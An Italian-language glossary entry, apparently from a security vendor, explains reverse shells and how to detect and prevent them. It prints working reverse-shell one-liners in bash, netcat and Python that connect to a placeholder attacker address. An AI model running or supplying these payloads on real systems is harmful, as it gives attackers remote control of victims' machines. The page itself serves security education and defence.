Glossario Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

Una shell inversa, nota anche come shell di connessione inversa, è quando un sistema compromesso si connette all’attaccante e gli fornisce una sessione di linea di comando dal vivo.

Perché è importante?

  • Le shell inverse possono bypassare i firewall poiché la maggior parte dei firewall blocca le connessioni in entrata ma consente quelle in uscita.
  • Gli attaccanti ottengono un controllo reale perché possono eseguire comandi proprio come se fossero collegati direttamente.
  • Le shell inverse sono molto comuni poiché sono un passaggio standard dopo che un attaccante ha sfruttato un sistema.

Immaginalo in questo modo: invece di cercare di entrare, l’attaccante inganna il server facendolo connettere a lui.

Cos’è una Shell Inversa?

Una shell inversa è una shell remota in cui il computer della vittima avvia la connessione al computer dell’attaccante.

Normalmente, il tuo computer avvia la connessione, come quando visiti un sito web. Con una shell inversa, questo processo è invertito. Dopo che l’attaccante trova un modo per eseguire il codice, il server si connette all’attaccante.

Un modo semplice per ricordarlo:

  • Shell di binding: Provi a connetterti al server. Se un firewall ti blocca, non puoi passare.
  • Shell inversa: Il server si connette a te. Poiché le connessioni in uscita sono generalmente consentite, puoi rispondere e prendere il controllo.

Perché le Shell Inverse Sono Importanti

I team di sicurezza di solito si concentrano su difese come firewall, bilanciatori di carico e limitazione delle porte. Queste funzionano fino a quando un attaccante riesce a eseguire codice all’interno del sistema.

Quando ciò accade, la shell inversa diventa il modo principale dell’attaccante per rimanere dentro.

Perché è pericoloso:

  • Il traffico in uscita è considerato affidabile.

    I firewall spesso consentono il traffico in uscita su porte come 80 o 443 per aggiornamenti e API. Le shell inverse possono nascondersi in questo traffico consentito.

  • Gli aggressori possono mantenere l’accesso.

    Anche se la falla di sicurezza originale viene risolta, una shell attiva può ancora permettere agli aggressori di controllare il sistema.

  • Consente il movimento laterale.

    Con una shell, gli aggressori possono esplorare la rete interna, rubare password e spostarsi su altri computer. Una vulnerabilità può rapidamente portare al compromesso dell’intero ambiente.

Come funziona una Shell Inversa

Una shell inversa ha due componenti principali: il listener e il payload.

1. Il Listener (Lato Attaccante)

L’attaccante utilizza un programma che attende connessioni. Netcat è uno strumento comune per questo.

nc -lvnp 4444

Questo comando dice al computer dell’attaccante di ascoltare sulla porta 4444 e aspettare una connessione.

2. Il Payload (Lato Vittima)

Dopo aver trovato una vulnerabilità come l’esecuzione di codice remoto, l’attaccante esegue un comando sul server della vittima per aprire una shell e inviarla indietro.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Questo comando avvia una shell bash e invia tutto l’input e l’output al computer dell’attaccante.

3. La Connessione

Il server della vittima avvia una connessione in uscita. Il firewall vede questo come normale e lo consente. Il listener dell’attaccante accetta la connessione, dando all’attaccante una shell live sul server.

A questo punto, l’attaccante ha il controllo interattivo completo sul server.

Esempi Comuni di Shell Inversa

Gli attaccanti e gli hacker etici adattano il loro approccio in base agli strumenti disponibili sul sistema di destinazione.

Bash (Comune su Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Utilizzato quando Netcat è disponibile sulla macchina di destinazione.

nc -e /bin/sh 10.0.0.1 4444

Python

Python è molto comune sui server moderni.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

Conoscere la differenza tra reverse shell e bind shell aiuta a difendere le reti.

CaratteristicaBind ShellReverse Shell
Direzione della connessioneAttaccante a VittimaVittima ad Attaccante
Impatto sul firewallSpesso bloccatoSpesso consentito
Requisiti di reteAccesso diretto necessarioFunziona attraverso NAT e firewall
Caso d’uso tipicoReti interneAttacchi nel mondo reale

Chi Usa le Reverse Shell?

  • Tester di penetrazione usano le reverse shell per dimostrare che una vulnerabilità può portare a un compromesso completo del sistema.
  • Red teams usano le reverse shell per testare quanto bene è controllato il traffico in uscita.
  • Attori malevoli usano le reverse shell per distribuire ransomware, rubare dati o muoversi ulteriormente in una rete.
  • Amministratori di sistema raramente usano le reverse shell per l’accesso remoto. Di solito preferiscono tunnel SSH sicuri.

Rilevamento e Prevenzione

Fermare le reverse shell richiede diversi livelli di difesa.

  • Filtraggio del traffico in uscita

    I server non dovrebbero avere accesso aperto a internet. Limita le destinazioni e le porte che possono utilizzare.

  • Monitoraggio del comportamento

    Un server web che avvia un processo shell, come /bin/bash o cmd.exe, è altamente sospetto.

  • Ridurre la superficie di attacco.

    Rimuovi strumenti inutilizzati come Netcat, compilatori e interpreti extra dai sistemi di produzione.

Termini correlati

  • Esecuzione di codice remoto (RCE)
  • Bind Shell

FAQ: Reverse Shell

Una reverse shell è illegale?

Le reverse shell sono legali solo se le usi su sistemi di tua proprietà o se hai un chiaro permesso per testarle. Usarle senza permesso è illegale.

Perché i firewall consentono le reverse shell?

I firewall sono costruiti per bloccare le minacce in entrata e di solito si fidano del traffico in uscita. Le reverse shell ne approfittano.

Un antivirus può rilevare le reverse shell?

A volte. Il software antivirus che utilizza firme può trovare programmi shell noti, ma le shell senza file create con Bash o Python sono molto più difficili da rilevare.

Qual è la differenza tra una reverse shell e una webshell?

Una webshell viene utilizzata tramite un browser e di solito rimane sul sistema, ma ha funzionalità limitate. Una reverse shell offre una sessione interattiva a riga di comando dal vivo.

Prossimi Passi

Pronto a proteggere le tue applicazioni? Scegli il tuo percorso.

Unisciti a oltre 500 aziende che già proteggono le loro applicazioni con Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready